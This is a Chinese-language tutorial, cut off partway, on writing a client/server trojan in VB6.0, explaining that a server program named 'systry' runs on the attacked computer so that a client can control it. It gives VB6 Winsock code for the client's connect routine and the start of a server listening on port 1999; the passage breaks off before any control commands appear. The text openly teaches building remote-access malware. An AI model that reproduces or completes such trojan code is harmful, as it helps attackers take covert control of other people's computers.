浅谈用 VB6.0 编写木马程序
现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的 C/S 结构,目前也有一些开始向 B/S 结构转变,
在这里暂且不对 B/S 结构进行详谈,本文主要介绍 C/S 结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权
限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它
了。下面来谈谈如何用 VB 来实现它。
首先使用 VB 建立两个程序,一个为客户端程序 Client,一个为服务器端程序 systry。
在Client 工程中建立一个窗体,加载 WinSock 控件,称为 tcpClient,协议选择 TCP,再加入两个文本框,用以输入服
务器的 IP 地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
Private Sub cmdConnect_Click()
If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
MsgBox ("请输入主机名或主机 IP 地址。")
Exit Sub
Else
If Len(Text1.Text) > 0 Then
tcpClient.RemoteHost = Text1.Text
Else
tcpClient.RemoteHost = Text2.Text
End If
End If
tcpClient.Connect
Timer1.Enabled = True
End Sub
连接建立之后就可以使用 DataArrival 事件处理所收到的数据了。
在服务器端 systry 工程也建立一个窗体,加载 WinSock 控件,称为 tcpServer,协议选择 TCP,在 Form_Load 事件中加
入如下代码:
Private Sub Form_Load()
tcpServer.LocalPort = 1999
tcpServer.Listen